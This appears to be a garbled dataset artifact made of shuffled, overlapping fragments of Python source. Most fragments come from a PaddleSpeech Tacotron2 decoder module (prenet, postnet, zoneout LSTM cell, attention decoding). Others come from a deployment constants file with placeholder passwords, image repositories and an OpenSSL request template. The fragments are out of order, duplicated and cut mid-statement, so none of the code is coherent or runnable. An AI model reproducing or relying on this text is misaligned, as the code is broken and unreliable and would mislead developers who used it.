sequence of features given", "att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w) att_ws += [att_w]", "of features from the sequence of the hidden states. ..", "): \"\"\"Initialize postnet module. Parameters ---------- idim : int Dimension", "layers. n_filts : int, optional The number of filter size.", "else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts -", "prev_att_w = None self.att.reset() # setup for attention constraint if", "= next_hidden zcs = (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else", "# [(r), ...] probs += [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is not", "probs, att_ws def calculate_all_attentions(self, hs, hlens, ys): \"\"\"Calculate all of", "1], (z_list[i], c_list[i])) z_list[i], c_list[i] = next_hidden zcs = (paddle.concat([z_list[-1],", "module. Parameters ---------- idim : int Dimension of the inputs.", "odim : int Dimension of the outputs. n_layers : int,", "int(att_w.argmax()) # check whether to finish generation if sum(paddle.cast(probs[-1] >=", "if zoneout_rate > 0.0: lstm = ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) #", "= int(paddle.shape(h)[0] * minlenratio) # initialize hidden states of decoder", "the range from 0.0 to 1.0.\") def forward(self, inputs, hidden):", "- 1): ichans = odim if layer == 0 else", "<gh_stars>0 # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.", "network. This is a module of Prenet in the decoder", "of padded target features (B, Lmax, odim). Returns ---------- numpy.ndarray", "Batch of lengths of each input batch (B,). ys :", "the sequence of the hidden states. .. _`Natural TTS Synthesis", "Input sequence of encoder hidden states (T, C). threshold :", "prev_out) if self.prenet is not None else prev_out xs =", "Zoneout rate. reduction_factor : int, optional Reduction factor. \"\"\" super().__init__()", "use batch normalization. use_concate : bool, optional Whether to concatenate", "dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize Tacotron2 decoder module. Parameters ----------", "if self.use_att_extra_inputs: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w, prev_out)", "= None # loop for an output sequence idx =", "a module of Prenet in the decoder of Spectrogram prediction", ": int, optional The number of layers. n_filts : int,", "Tensor Batch of logits of stop prediction (B, Lmax). Tensor", "performed in teacher-forcing manner. \"\"\" # thin out frames (B,", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "length list should be list of int hlens = list(map(int,", "forward propagation. Parameters ---------- hs : Tensor Batch of the", "// 2, bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), )) else: self.postnet.append(", "Dimension of the outputs. n_layers : int, optional The number", "weights (B, Lmax, Tmax). Note ---------- This computation is performed", "next_hidden = self._zoneout(hidden, next_hidden, self.zoneout_rate) # to have the same", "prev_out = outs[-1][:, :, -1] # (1, odim) if self.cumulate_att_w", "Tmax, idim). hlens : Tensor(int64) padded Batch of lengths of", "= before_outs.transpose([0, 2, 1]) # (B, Lmax, odim) after_outs =", "number of filter channels. use_batch_norm : bool, optional Whether to", "n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else: self.postnet = None #", "by Conditioning WaveNet on Mel Spectrogram Predictions`_. The Postnet predicts", "cell states (B, hidden_size). Returns ---------- Tensor Batch of next", "[self._zero_state(hs)] for _ in six.moves.range(1, len(self.lstm)): c_list += [self._zero_state(hs)] z_list", "class Postnet(nn.Layer): \"\"\"Postnet module for Spectrogram prediction network. This is", "governing permissions and # limitations under the License. # Modified", "filter channels. output_activation_fn : nn.Layer, optional Activation function for outputs.", "paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize attention prev_att_w = None self.att.reset() #", "next_hidden def _zoneout(self, h, next_h, prob): # apply recursively if", "odim, n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ),", "attention weight. use_batch_norm : bool, optional Whether to use batch", "hs, hlens, ys): \"\"\"Calculate forward propagation. Parameters ---------- hs :", "self.lstm = nn.LayerList() for layer in six.moves.range(dlayers): iunits = idim", ": float, optional Minimum length ratio. If set to 10", "The number of postnet filter size. postnet_chans : int, optional", "decoder lstm units. prenet_layers : int, optional The number of", "att_w = self.att( hs, ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window,", "if use_att_constraint: last_attended_idx = 0 else: last_attended_idx = None #", "class Decoder(nn.Layer): \"\"\"Decoder module of Spectrogram prediction network. This is", "zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize Tacotron2 decoder module. Parameters ---------- idim", "whether to finish generation if sum(paddle.cast(probs[-1] >= threshold, 'int64')) >", "forward(self, xs): \"\"\"Calculate forward propagation. Parameters ---------- xs : Tensor", "output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize Tacotron2", "- 1) // 2, bias_attr=False, ), nn.Dropout(dropout_rate), )) def forward(self,", "module e.g. `paddle.nn.LSTMCell`. zoneout_rate : float, optional Probability of zoneout", "_`Zoneout: Regularizing RNNs by Randomly Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305 ..", "six.moves.range(1, len(self.lstm)): # we only use the second output of", "Conditioning WaveNet on Mel Spectrogram Predictions`_. The Postnet predicts refines", "Version 2.0 (the \"License\"); # you may not use this", "self, h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None, ): \"\"\"Generate", "Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim, n_layers=5,", "return prob * h + (1 - prob) * next_h", "introduced in `Deep Voice 3`_. backward_window : int Backward window", "\"\"\"Tacotron2 decoder related modules.\"\"\" import paddle import paddle.nn.functional as F", "states (B, hidden_size). - Tensor: Batch of next cell states", "six.moves.range(len(self.prenet)): # F.dropout 引入了随机, tacotron2 的 dropout 是不能去掉的 x =", "states (T, C). threshold : float, optional Threshold to stop", "super().__init__() self.cell = cell self.hidden_size = cell.hidden_size self.zoneout_rate = zoneout_rate", "= paddle.nn.LSTMCell(16, 32) >>> lstm = ZoneOutCell(lstm, 0.5) .. _`Zoneout:", "for y in ys.transpose([1, 0, 2]): if self.use_att_extra_inputs: att_c, att_w", "paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs def forward(self, hs, hlens, ys): \"\"\"Calculate", "padded hidden states (B, Tmax, idim). hlens : Tensor(int64) Batch", "= y if self.cumulate_att_w and prev_att_w is not None: prev_att_w", "Spectrogram Predictions`_. The decoder generates the sequence of features from", ") else: self.prenet = None # define postnet if postnet_layers", "axis=1) if self.use_concate else z_list[-1]) outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim,", "in attention constraint. forward_window : int Forward window size in", "else n_chans ochans = odim if layer == n_layers -", "by applicable law or agreed to in writing, software #", "= F.dropout(self.prenet[i](x)) return x class Postnet(nn.Layer): \"\"\"Postnet module for Spectrogram", "int, optional The number of decoder lstm layers. dunits :", "# check attention type if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs = True", "None # define projection layers iunits = idim + dunits", "== 2 hs = h.unsqueeze(0) ilens = paddle.shape(h)[0] maxlen =", "ichans, odim, n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False,", "dunits : int, optional The number of decoder lstm units.", "of zoneout described in `Zoneout: Regularizing RNNs by Randomly Preserving", "(B, ..., odim). \"\"\" for i in six.moves.range(len(self.prenet)): # F.dropout", "is not None: # (1, odim, L) outs = outs", "= cumulate_att_w self.use_concate = use_concate self.reduction_factor = reduction_factor # check", "paddle.concat(outs, axis=2) if self.postnet is not None: # (1, odim,", "permissions and # limitations under the License. # Modified from", "n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize postnet module. Parameters ----------", "---------- numpy.ndarray Batch of attention weights (B, Lmax, Tmax). Note", "decoder of Spectrogram prediction network. This is a module of", "forward_window : int Forward window size in attention constraint. Returns", "prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) else: att_c, att_w =", "> 1: ys = ys[:, self.reduction_factor - 1::self.reduction_factor] # length", "not None: # (B, odim, Lmax) after_outs = before_outs +", "decoder of Spectrogram prediction network, which described in `Natural TTS", "Conditioning WaveNet on Mel Spectrogram Predictions`_. The decoder generates the", ":, -1]) # (1, odim) else: prev_out = outs[-1][:, :,", "att self.output_activation_fn = output_activation_fn self.cumulate_att_w = cumulate_att_w self.use_concate = use_concate", "10, the minimum length of outputs will be 10 *", ".. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize zone", "tensors (B, ..., idim). Returns ---------- Tensor Batch of output", "This is a module of Postnet in Spectrogram prediction network,", "att_c], axis=1) if self.use_concate else z_list[-1]) outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0],", "att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w) prenet_out = self.prenet(", "nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts - 1) // 2,", "WaveNet on Mel Spectrogram Predictions`_. The Prenet preforms nonlinear conversion", "paddle.stack(att_ws, axis=1) if self.reduction_factor > 1: # (B, odim, Lmax)", "paddle import nn from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet", "0 else: last_attended_idx = None # loop for an output", "The Postnet predicts refines the predicted Mel-filterbank of the decoder,", "odim, L) outs = outs + self.postnet(outs) # (L, odim)", "use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize Tacotron2 decoder module.", "if self.postnet is not None: # (B, odim, Lmax) after_outs", "1.0 and the length of input is 10, the minimum", "len(self.lstm)): z_list[i], c_list[i] = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) #", "ys): \"\"\"Calculate forward propagation. Parameters ---------- hs : Tensor Batch", "activation function for scaling if self.output_activation_fn is not None: before_outs", "and the length of input is 10, the minimum length", "input tensor (B, input_size). hidden : tuple - Tensor: Batch", "applicable law or agreed to in writing, software # distributed", "nn.LayerList() for layer in six.moves.range(n_layers - 1): ichans = odim", "odim). Tensor Output sequence of stop probabilities (L,). Tensor Attention", "logits # apply activation function for scaling if self.output_activation_fn is", "PaddlePaddle Authors. All Rights Reserved. # # Licensed under the", "xs = self.postnet[i](xs) return xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell module.", "recursively if isinstance(h, tuple): num_h = len(h) if not isinstance(prob,", "odim if layer == n_layers - 1 else n_chans if", "ochans, n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ),", "attention constraint. Returns ---------- Tensor Output sequence of features (L,", "prev_att_w = prev_att_w + att_w # Note: error when use", "next_hidden = self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0], c_list[0] = next_hidden for", "0 else n_chans ochans = odim if layer == n_layers", "(B, odim, Lmax) after_outs = before_outs + self.postnet(before_outs) else: after_outs", "int Dimension of the outputs. n_layers : int, optional The", "idim + prenet_units if layer == 0 else dunits lstm", "Lmax) logits = paddle.concat(logits, axis=1) # (B, odim, Lmax) before_outs", "[paddle.shape(before_outs)[0], self.odim, -1]) if self.postnet is not None: # (B,", "bias_attr=False) self.prob_out = nn.Linear(iunits, reduction_factor) # initialize # self.apply(decoder_init) def", ")) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts", "(B, Lmax). Tensor Batch of attention weights (B, Lmax, Tmax).", "of padded input tensors (B, idim, Tmax). Returns ---------- Tensor", "padding=(n_filts - 1) // 2, bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), ))", "Batch of initial cell states (B, hidden_size). Returns ---------- Tensor", "!= 1 else odim if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans,", "decoder c_list = [self._zero_state(hs)] z_list = [self._zero_state(hs)] for _ in", "espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related modules.\"\"\" import paddle import paddle.nn.functional as", "sequences of characters. Parameters ---------- h : Tensor Input sequence", "postnet_layers > 0: self.postnet = Postnet( idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans,", "int Backward window size in attention constraint. forward_window : int", "features (B, Lmax, odim). Returns ---------- Tensor Batch of output", "= before_outs # (B, Lmax, odim) before_outs = before_outs.transpose([0, 2,", "# You may obtain a copy of the License at", "forward_window=None, ): \"\"\"Generate the sequence of features given the sequences", "-1] # (1, odim) if self.cumulate_att_w and prev_att_w is not", "= paddle.stack(att_ws, axis=1) if self.reduction_factor > 1: # (B, odim,", "self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) # teacher forcing prev_out =", "hlens : Tensor(int64) Batch of lengths of each input batch", "axis=1) # (B, odim, Lmax) before_outs = paddle.concat(outs, axis=2) #", ": int, optional The number of prenet layers. prenet_units :", "---------- xs : Tensor Batch of the sequences of padded", "be list of int # hlens = list(map(int, hlens)) #", "Predictions`_. The Prenet preforms nonlinear conversion of inputs before input", "hidden_size). Returns ---------- Tensor Batch of next hidden states (B,", "cell states (B, hidden_size). \"\"\" # we only use the", "constraint. Returns ---------- Tensor Output sequence of features (L, odim).", "is performed in teacher-forcing manner. \"\"\" # thin out frames", "apply attention constraint introduced in `Deep Voice 3`_. backward_window :", "hs = h.unsqueeze(0) ilens = paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0] *", "a module of decoder of Spectrogram prediction network in Tacotron2,", "class. dlayers int, optional The number of decoder lstm layers.", "in paddle _, next_hidden = self.cell(inputs, hidden) next_hidden = self._zoneout(hidden,", "use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else: self.postnet = None # define projection", "+= [att_w] # teacher forcing prev_out = y if self.cumulate_att_w", "cell module. Parameters ---------- cell : nn.Layer: Paddle recurrent cell", "z_list[0], c_list[0] = next_hidden for i in six.moves.range(1, len(self.lstm)): #", "self.reduction_factor > 1: ys = ys[:, self.reduction_factor - 1::self.reduction_factor] #", "last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) else: att_c, att_w = self.att( hs,", "Parameters ---------- xs : Tensor Batch of the sequences of", "self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts - 1)", "minimum length of outputs will be 10 * 1 =", "for decoder of Spectrogram prediction network. This is a module", "att_ws def inference( self, h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None,", "Prenet in the decoder of Spectrogram prediction network, which described", "Tmax) att_ws = paddle.stack(att_ws, axis=1) if self.reduction_factor > 1: #", "padding=(n_filts - 1) // 2, bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate), ))", "idx = 0 outs, att_ws, probs = [], [], []", "nn.Tanh(), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts,", "even in evaluation. See the detail in `Natural TTS Synthesis", ": float, optional Threshold to stop generation. minlenratio : float,", "decoder lstm layers. dunits : int, optional The number of", "self.idim = idim self.odim = odim self.att = att self.output_activation_fn", "int, optional The number of prenet layers. prenet_units : int,", "Spectrogram Predictions`_. .. _`Natural TTS Synthesis by Conditioning WaveNet on", "if self.use_concate else z_list[-1]) # [(1, odim, r), ...] outs", "+ att_w # Note: error when use += else: prev_att_w", "Mel-filterbank of the decoder, which helps to compensate the detail", "Tmax, idim). hlens : Tensor(int64) Batch of lengths of each", "outputs will be 10 * 1 = 10. minlenratio :", "# length list should be list of int hlens =", "stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate),", "prenet units. postnet_layers : int, optional The number of postnet", "attention prev_att_w = None self.att.reset() # loop for an output", "= False # define lstm network prenet_units = prenet_units if", "postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1,", "att_c, att_w = self.att( hs, ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window,", "= paddle.concat(outs, axis=2) if self.postnet is not None: # (1,", "return init_hs def forward(self, hs, hlens, ys): \"\"\"Calculate forward propagation.", "att_w else: prev_att_w = att_w # (B, Lmax, Tmax) att_ws", "after_outs = after_outs.transpose([0, 2, 1]) logits = logits # apply", "Output sequence of features (L, odim). Tensor Output sequence of", "= (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1]) # [(1,", ": int, optional The number of filter size. n_units :", "optional Minimum length ratio. If set to 1.0 and the", "break if self.output_activation_fn is not None: outs = self.output_activation_fn(outs) return", "prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5,", "a module of Postnet in Spectrogram prediction network, which described", "\"License\"); # you may not use this file except in", "will be 10 * 10 = 100. use_att_constraint : bool", "= [] for y in ys.transpose([1, 0, 2]): if self.use_att_extra_inputs:", "sequence att_ws = [] for y in ys.transpose([1, 0, 2]):", "self.output_activation_fn is not None: outs = self.output_activation_fn(outs) return outs, probs,", "postnet module. Parameters ---------- idim : int Dimension of the", "second output of LSTMCell in paddle _, next_hidden = self.cell(inputs,", "isinstance(self.att, AttForwardTA): self.use_att_extra_inputs = True else: self.use_att_extra_inputs = False #", "1], (z_list[i], c_list[i])) # teacher forcing prev_out = y if", "dropout_rate=0.5): \"\"\"Initialize prenet module. Parameters ---------- idim : int Dimension", "lstm, which helps to learn diagonal attentions. Notes ---------- This", "of input tensors (B, ..., idim). Returns ---------- Tensor Batch", "is a module of decoder of Spectrogram prediction network in", "next_h, prob): # apply recursively if isinstance(h, tuple): num_h =", "-1]) # (1, odim) else: prev_out = outs[-1][:, :, -1]", "..., idim). Returns ---------- Tensor Batch of output tensors (B,", "10 = 100. use_att_constraint : bool Whether to apply attention", "odim) outs = outs.transpose([0, 2, 1]).squeeze(0) probs = paddle.concat(probs, axis=0)", "output tensors after postnet (B, Lmax, odim). Tensor Batch of", "This module alway applies dropout even in evaluation. See the", "optional Dropout rate.. \"\"\" super().__init__() self.postnet = nn.LayerList() for layer", "None: # (B, odim, Lmax) after_outs = before_outs + self.postnet(before_outs)", "(L, T). Note ---------- This computation is performed in auto-regressive", "define postnet if postnet_layers > 0: self.postnet = Postnet( idim=idim,", "_zoneout(self, h, next_h, prob): # apply recursively if isinstance(h, tuple):", "predicts refines the predicted Mel-filterbank of the decoder, which helps", "\"\"\"Initialize Tacotron2 decoder module. Parameters ---------- idim : int Dimension", "length of input is 10, the minimum length of outputs", "// 2, bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential(", "lstm = nn.LSTMCell(iunits, dunits) if zoneout_rate > 0.0: lstm =" ]
[ "import FileSystemType, DriverType, EncryptionType from .api import SchemaFrom from .api", "_get_client from .api import gdf_dtype from .api import get_dtype_values from", ".api import register_file_system from .api import deregister_file_system from .api import", "import deregister_file_system from .api import FileSystemType, DriverType, EncryptionType from .api", "from .api import deregister_file_system from .api import FileSystemType, DriverType, EncryptionType", "deregister_file_system from .api import FileSystemType, DriverType, EncryptionType from .api import", "from .api import create_table from .api import ResultSetHandle from .api", ".api import run_query_get_results from .api import run_query_get_concat_results from .api import", "SchemaFrom from .api import create_table from .api import ResultSetHandle from", "from .api import _get_client from .api import gdf_dtype from .api", "import gdf_dtype from .api import get_dtype_values from .api import get_np_dtype_to_gdf_dtype", "convert_to_dask from .api import run_query_get_results from .api import run_query_get_concat_results from", "import ResultSetHandle from .api import _get_client from .api import gdf_dtype", ".api import _get_client from .api import gdf_dtype from .api import", "from .api import FileSystemType, DriverType, EncryptionType from .api import SchemaFrom", ".api import FileSystemType, DriverType, EncryptionType from .api import SchemaFrom from", ".api import SchemaFrom from .api import create_table from .api import", "run_query_get_results from .api import run_query_get_concat_results from .api import register_file_system from", ".api import deregister_file_system from .api import FileSystemType, DriverType, EncryptionType from", ".api import convert_to_dask from .api import run_query_get_results from .api import", "from .api import SchemaFrom from .api import create_table from .api", "from .api import get_dtype_values from .api import get_np_dtype_to_gdf_dtype from .api", "run_query_get_concat_results from .api import register_file_system from .api import deregister_file_system from", "import get_np_dtype_to_gdf_dtype from .api import SetupOrchestratorConnection from .apiv2.context import make_default_orc_arg", "from .api import SetupOrchestratorConnection from .apiv2.context import make_default_orc_arg from .apiv2.context", "import convert_to_dask from .api import run_query_get_results from .api import run_query_get_concat_results", "import run_query_get_concat_results from .api import register_file_system from .api import deregister_file_system", "ResultSetHandle from .api import _get_client from .api import gdf_dtype from", "import _get_client from .api import gdf_dtype from .api import get_dtype_values", "import run_query_get_token from .api import convert_to_dask from .api import run_query_get_results", ".api import run_query_get_token from .api import convert_to_dask from .api import", "import get_dtype_values from .api import get_np_dtype_to_gdf_dtype from .api import SetupOrchestratorConnection", "from .api import get_np_dtype_to_gdf_dtype from .api import SetupOrchestratorConnection from .apiv2.context", "from .api import gdf_dtype from .api import get_dtype_values from .api", "get_dtype_values from .api import get_np_dtype_to_gdf_dtype from .api import SetupOrchestratorConnection from", "import SetupOrchestratorConnection from .apiv2.context import make_default_orc_arg from .apiv2.context import make_default_csv_arg", "run_query_get_token from .api import convert_to_dask from .api import run_query_get_results from", "from .api import ResultSetHandle from .api import _get_client from .api", ".api import get_dtype_values from .api import get_np_dtype_to_gdf_dtype from .api import", "get_np_dtype_to_gdf_dtype from .api import SetupOrchestratorConnection from .apiv2.context import make_default_orc_arg from", "EncryptionType from .api import SchemaFrom from .api import create_table from", "create_table from .api import ResultSetHandle from .api import _get_client from", "import run_query_get_results from .api import run_query_get_concat_results from .api import register_file_system", "import register_file_system from .api import deregister_file_system from .api import FileSystemType,", "gdf_dtype from .api import get_dtype_values from .api import get_np_dtype_to_gdf_dtype from", ".api import create_table from .api import ResultSetHandle from .api import", ".api import get_np_dtype_to_gdf_dtype from .api import SetupOrchestratorConnection from .apiv2.context import", "from .api import convert_to_dask from .api import run_query_get_results from .api", "register_file_system from .api import deregister_file_system from .api import FileSystemType, DriverType,", "import create_table from .api import ResultSetHandle from .api import _get_client", "from .api import run_query_get_results from .api import run_query_get_concat_results from .api", "from .api import register_file_system from .api import deregister_file_system from .api", ".api import gdf_dtype from .api import get_dtype_values from .api import", ".api import ResultSetHandle from .api import _get_client from .api import", ".api import SetupOrchestratorConnection from .apiv2.context import make_default_orc_arg from .apiv2.context import", "FileSystemType, DriverType, EncryptionType from .api import SchemaFrom from .api import", "import SchemaFrom from .api import create_table from .api import ResultSetHandle", ".api import run_query_get_concat_results from .api import register_file_system from .api import", "from .api import run_query_get_concat_results from .api import register_file_system from .api", "DriverType, EncryptionType from .api import SchemaFrom from .api import create_table", "from .api import run_query_get_token from .api import convert_to_dask from .api" ]
[ "= req_distinguished_name req_extensions = v3_req [ req_distinguished_name ] C =", "keyEncipherment subjectAltName = @alt_names [ alt_names ] DNS.1 = %(service)s", "MYSQL_USER = \"admin\" MYSQL_PASS = \"<PASSWORD>\" LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS", "\"custadmin\" ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID = 7000 ADMIN_GROUPID = 7000", "= 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS = () OPENSSL_CONFIG_TEMPLATE = \"\"\"", "\"admin\" MYSQL_PASS = \"<PASSWORD>\" LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS = \"<PASSWORD>\"", "type('Enum', (), named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN", "HCP CN = %(service)s emailAddress = <EMAIL> [ v3_req ]", "DAYS = 3650 CA_CERT = 'ca.cert' CA_KEY = 'ca.key' #", "\"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\"", "ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER = \"admin\" MYSQL_PASS = \"<PASSWORD>\" LDAPADMIN_USER", "5000 GROUPID = 5000 ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME = \"custadmin\"", "\"custadmin\" ADMIN_USERID = 7000 ADMIN_GROUPID = 7000 ADMIN_PASS = \"<PASSWORD>\"", "req_distinguished_name ] C = US ST = CO L =", "ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID = 7000 ADMIN_GROUPID = 7000 ADMIN_PASS", "\"\"\" prompt = no distinguished_name = req_distinguished_name req_extensions = v3_req", "ST = CO L = Fort Collins O = HPE", "= \"custadmin\" ADMIN_GROUPNAME = \"custadmin\" ADMIN_USERID = 7000 ADMIN_GROUPID =", "= US ST = CO L = Fort Collins O", "= '/usr/bin/openssl' KEY_SIZE = 1024 DAYS = 3650 CA_CERT =", "\"mapr\" GROUPNAME = \"mapr\" USERID = 5000 GROUPID = 5000", "US ST = CO L = Fort Collins O =", "(), named_values) AUTH_TYPES = enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN SSL", "KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO = \"\" def enum(**named_values): return type('Enum',", "SSL OPENSSL = '/usr/bin/openssl' KEY_SIZE = 1024 DAYS = 3650", "= HCP CN = %(service)s emailAddress = <EMAIL> [ v3_req", "] C = US ST = CO L = Fort", "'/usr/bin/openssl' KEY_SIZE = 1024 DAYS = 3650 CA_CERT = 'ca.cert'", "\"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO = \"\" def", "%(service)s emailAddress = <EMAIL> [ v3_req ] # Extensions to", "# Extensions to add to a certificate request basicConstraints =", "= @alt_names [ alt_names ] DNS.1 = %(service)s DNS.2 =", "to a certificate request basicConstraints = CA:FALSE keyUsage = nonRepudiation,", "USERID = 5000 GROUPID = 5000 ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME", "EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO = \"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech", "KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO =", "LDAPBIND_USER = \"readonly\" LDAPBIND_PASS = \"<PASSWORD>\" EXAMPLE_LDAP_NAMESPACE = \"hpe-ldap\" CSI_REPO", "Constants(object): LOGGER_CONF = \"common/mapr_conf/logger.yml\" USERNAME = \"mapr\" GROUPNAME = \"mapr\"", "= no distinguished_name = req_distinguished_name req_extensions = v3_req [ req_distinguished_name", "= \"\"\" prompt = no distinguished_name = req_distinguished_name req_extensions =", "\"mapr\" USERID = 5000 GROUPID = 5000 ADMIN_USERNAME = \"custadmin\"", "\"/var/lib/kubelet\" ECP_KUBELET_DIR = \"/var/lib/docker/kubelet\" LOCAL_PATH_PROVISIONER_REPO= \"\" KFCTL_HSP_ISTIO_REPO = \"\" BUSYBOX_REPO", "KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO = \"gcr.io/mapr-252711\" KUBELET_DIR = \"/var/lib/kubelet\" ECP_KUBELET_DIR", "Extensions to add to a certificate request basicConstraints = CA:FALSE", "= 5000 GROUPID = 5000 ADMIN_USERNAME = \"custadmin\" ADMIN_GROUPNAME =", "ADMIN_USERID = 7000 ADMIN_GROUPID = 7000 ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER", "CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names [", "\"quay.io/k8scsi\" KDF_REPO = \"docker.io/maprtech\" #registry.hub.docker.com/maprtech KUBEFLOW_REPO = \"gcr.io/mapr-252711/kf-ecp-5.3.0\" OPERATOR_REPO =", "OU = HCP CN = %(service)s emailAddress = <EMAIL> [", "<EMAIL> [ v3_req ] # Extensions to add to a", "= 1024 DAYS = 3650 CA_CERT = 'ca.cert' CA_KEY =", "= CO L = Fort Collins O = HPE OU", "= \"common/mapr_conf/logger.yml\" USERNAME = \"mapr\" GROUPNAME = \"mapr\" USERID =", "= \"custadmin\" ADMIN_USERID = 7000 ADMIN_GROUPID = 7000 ADMIN_PASS =", "enum(CUSTOM_LDAP='customLDAP', RAW_LINUX_USERS='rawLinuxUsers', EXAMPLE_LDAP='exampleLDAP') # OPEN SSL OPENSSL = '/usr/bin/openssl' KEY_SIZE", "7000 ADMIN_GROUPID = 7000 ADMIN_PASS = \"<PASSWORD>\" MYSQL_USER = \"admin\"", "req_extensions = v3_req [ req_distinguished_name ] C = US ST", "= HPE OU = HCP CN = %(service)s emailAddress =", "3650 CA_CERT = 'ca.cert' CA_KEY = 'ca.key' # http://www.openssl.org/docs/apps/openssl.html#PASS_PHRASE_ARGUMENTS X509_EXTRA_ARGS", "MYSQL_PASS = \"<PASSWORD>\" LDAPADMIN_USER = \"admin\" LDAPADMIN_PASS = \"<PASSWORD>\" LDAPBIND_USER", "[ req_distinguished_name ] C = US ST = CO L", "= \"<PASSWORD>\" MYSQL_USER = \"admin\" MYSQL_PASS = \"<PASSWORD>\" 